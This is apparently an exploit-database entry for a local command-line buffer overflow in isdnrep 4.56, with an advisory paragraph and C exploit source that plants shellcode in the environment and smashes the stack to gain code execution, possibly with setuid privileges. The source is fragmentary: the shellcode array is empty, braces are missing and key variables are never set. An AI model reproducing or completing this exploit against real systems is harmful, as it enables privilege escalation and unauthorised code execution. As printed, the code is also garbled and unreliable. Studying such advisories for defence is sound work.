ISDNRep 4.56 - Command Line Argument Local Buffer Overflow (2)

ID EXPLOITPACK:067021AFD840119855829EDADA055E7F
Type exploitpack
Reporter snooq
Modified 2003-07-04T00:00:00


ISDNRep 4.56 - Command Line Argument Local Buffer Overflow (2)

                                            // source:
isdnrep has been reported prone to a local command line argument buffer overflow vulnerability.
The issue presents itself due do a lack of sufficient bounds checking performed on user-supplied data that is copied from the command line into a reserved internal memory buffer. It is possible for a local attacker to influence the execution flow of isdnrep and have arbitrary operation codes executed in the context of the vulnerable application. Exploitation could permit privilege escalation on systems where the application is installed setuid/setgid.
It should be noted that although isdnrep version 4.56 has been reported vulnerable, other versions might also be vulnerable.

 *  Author: snooq []
 *  Date: 4 July 2003
 *  This bug was just one of the bugs reported by
 *  Stx Security Labs. 
 *  Their original posting can be found here:
 *  This is again a classical example of stack smashing.
 *  Exploitation is trivial and this code is done in just 
 *  a few minutes.
 *  As usual, it is for educational purpose only. Not much
 *  profit to gain from this one as not many distro ships 
 *  it with 'suid' bit set.

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

#define BASE		0xbfffffff+1	/* 'Bottom' of stack   */		
#define BUFF_SIZE	2152		/* Number of bytes     */
#define SC_SIZE		sizeof(shellcode)	
#define PATH_SIZE	sizeof(PATH)	
#define PATH		"/usr/bin/isdnrep"

char shellcode[]=

main() {
	char *env[2]={shellcode,NULL};
	char *buf, *ptr;
	long sc_addr;
	int i, buffsize=BUFF_SIZE; 

	if (!(buf=malloc(buffsize+1))) {
		printf("Can't allocate memory.\n");

	for(i=0;i<buffsize;i+=4) {
		*((long *)ptr)=sc_addr; 

	printf("shellcode is at: 0x%08x\n",sc_addr);